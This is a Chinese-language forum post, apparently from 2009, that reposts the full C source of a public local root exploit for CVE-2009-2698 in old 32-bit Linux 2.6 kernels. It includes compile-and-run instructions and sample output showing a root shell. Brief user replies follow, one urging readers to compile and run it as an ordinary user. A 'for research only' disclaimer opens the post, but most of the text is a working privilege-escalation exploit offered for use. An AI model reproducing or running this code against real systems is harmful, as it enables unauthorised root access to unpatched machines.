研究是允许的，恶意攻击就不好了，仅此学习研究而已！
/*
**
** 0x82-CVE-2009-2698
** Linux kernel 2.6 < 2.6.19 (32bit) ip_append_data() local ring0 root exploit
**
** Tested White Box 4(2.6.9-5.ELsmp),
** CentOS 4.4(2.6.9-42.ELsmp), CentOS 4.5(2.6.9-55.ELsmp),
** Fedora Core 4(2.6.11-1.1369_FC4smp), Fedora Core 5(2.6.15-1.2054_FC5),
** Fedora Core 6(2.6.18-1.2798.fc6).
**
** --
** Discovered by Tavis Ormandy and Julien Tinnes of the Google Security Team.
** Thankful to them.
**
** --
** bash$ gcc -o 0x82-CVE-2009-2698 0x82-CVE-2009-2698.c && ./0x82-CVE-2009-2698
** sh-3.1# id
** uid=0(root) gid=0(root) groups=500(x82) context=user_u:system_r:unconfined_t
** sh-3.1#
** --
** exploit by
**
*/
#include
#include
#include
#include
#include
#include
#include
unsigned int uid, gid;
void get_root_uid(unsigned *task)
{
unsigned *addr=task;
while(addr[0]!=uid||addr[1]!=uid||addr[2]!=uid||addr[3]!=uid){
addr++;
}
addr[0]=addr[1]=addr[2]=addr[3]=0; /* set uids */
addr[4]=addr[5]=addr[6]=addr[7]=0; /* set gids */
return;
}
void exploit();
void kernel_code()
{
asm("exploit:\n"
"push %eax\n"
"movl $0xfffff000,%eax\n"
"andl %esp,%eax\n"
"pushl (%eax)\n"
"call get_root_uid\n"
"addl $4,%esp\n"
"popl %eax\n");
return;
}
void *kernel=kernel_code;
int main(int argc, char **argv)
{
int fd=0;
char buf[1024];
struct sockaddr x0x;
void *zero_page;
uid=getuid();
gid=getgid();
if(uid==0){
fprintf(stderr,"[-] check ur uid\n");
return -1;
}
if(personality(0xffffffff)==PER_SVR4){
if(mprotect(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC)==-1){
perror("[-] mprotect()");
return -1;
}
}
else if((zero_page=mmap(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE,0,0))==MAP_FAILED){
perror("[-] mmap()");
return -1;
}
*(unsigned long *)0x0=0x90909090;
*(char *)0x00000004=0x90; /* +1 */
*(char *)0x00000005=0xff;
*(char *)0x00000006=0x25;
*(unsigned long *)0x00000007=(unsigned long)&kernel;
*(char *)0x0000000b=0xc3;
if((fd=socket(PF_INET,SOCK_DGRAM,0))==-1){
perror("[-] socket()");
return -1;
}
x0x.sa_family=AF_UNSPEC;
memset(x0x.sa_data,0x82,14);
memset((char *)buf,0,sizeof(buf));
sendto(fd,buf,1024,MSG_PROXY|MSG_MORE,&x0x,sizeof(x0x));
sendto(fd,buf,1024,0,&x0x,sizeof(x0x));
if(getuid()==uid){
printf("[-] exploit failed, try again\n");
return -1;
}
close(fd);
execl("/bin/sh","sh","-i",NULL);
return 0;
}
/* eoc */
// milw0rm.com [2009-08-31]
wyxzhd 于 2009-12-10 22:02:05发表:
留个记号，以后再看，现在太深奥拉
yanyongkg 于 2009-12-10 11:03:12发表:
目前看不懂，做个记号，以后再来看0:w(5(
dchwlinux 于 2009-12-10 10:32:44发表:
2.6.27下直接编译失败
ixdba 于 2009-12-10 10:28:47发表:
此段是漏洞攻击的源码，用C写的，将此源码gcc编译下，然后在普通用户下执行，看看什么结果？！
2088 于 2009-12-10 10:06:24发表:
现在看不懂 以后在来看 不过这些攻击的代码我全有哦 不管是什么漏洞
louther2930 于 2009-12-09 17:14:10发表:
楼主能说说哪里出现漏洞了？？
小飞马 于 2009-12-08 10:39:36发表:
不懂，怎么用！
大宝 于 2009-12-07 19:26:06发表:
2.6.28的飘过~
puitr 于 2009-12-07 00:07:38发表:
哎，看不懂